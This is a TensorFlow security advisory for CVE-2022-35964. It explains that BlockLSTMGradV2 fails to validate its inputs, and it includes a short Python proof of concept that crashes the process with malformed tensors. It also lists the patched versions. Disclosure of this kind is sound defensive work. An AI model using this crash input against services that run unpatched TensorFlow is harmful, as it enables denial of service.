CVE-2022-35964: Segfault in `BlockLSTMGradV2`

The implementation of BlockLSTMGradV2 does not fully validate its inputs.

import tensorflow as tf

use_peephole = False seq_len_max = tf.constant(1, shape=[], dtype=tf.int64) x = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32) cs_prev = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32) h_prev = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32) w = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32) wci = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32) wcf = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32) wco = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32) b = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32) i = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32) cs = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32) f = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32) o = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32) ci = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32) co = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32) h = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32) cs_grad = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32) h_grad = tf.constant(0.504355371, shape=[1,1,1], dtype=tf.float32) tf.raw_ops.BlockLSTMGradV2(seq_len_max=seq_len_max, x=x, cs_prev=cs_prev, h_prev=h_prev, w=w, wci=wci, wcf=wcf, wco=wco, b=b, i=i, cs=cs, f=f, o=o, ci=ci, co=co, h=h, cs_grad=cs_grad, h_grad=h_grad, use_peephole=use_peephole)

The fix will be included in TensorFlow 2.10.0. We will also cherrypick this commit on TensorFlow 2.9.1, TensorFlow 2.8.1, and TensorFlow 2.7.2, as these are also affected and still in supported range.

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This vulnerability has been reported by Neophytos Christou, Secure Systems Labs, Brown University.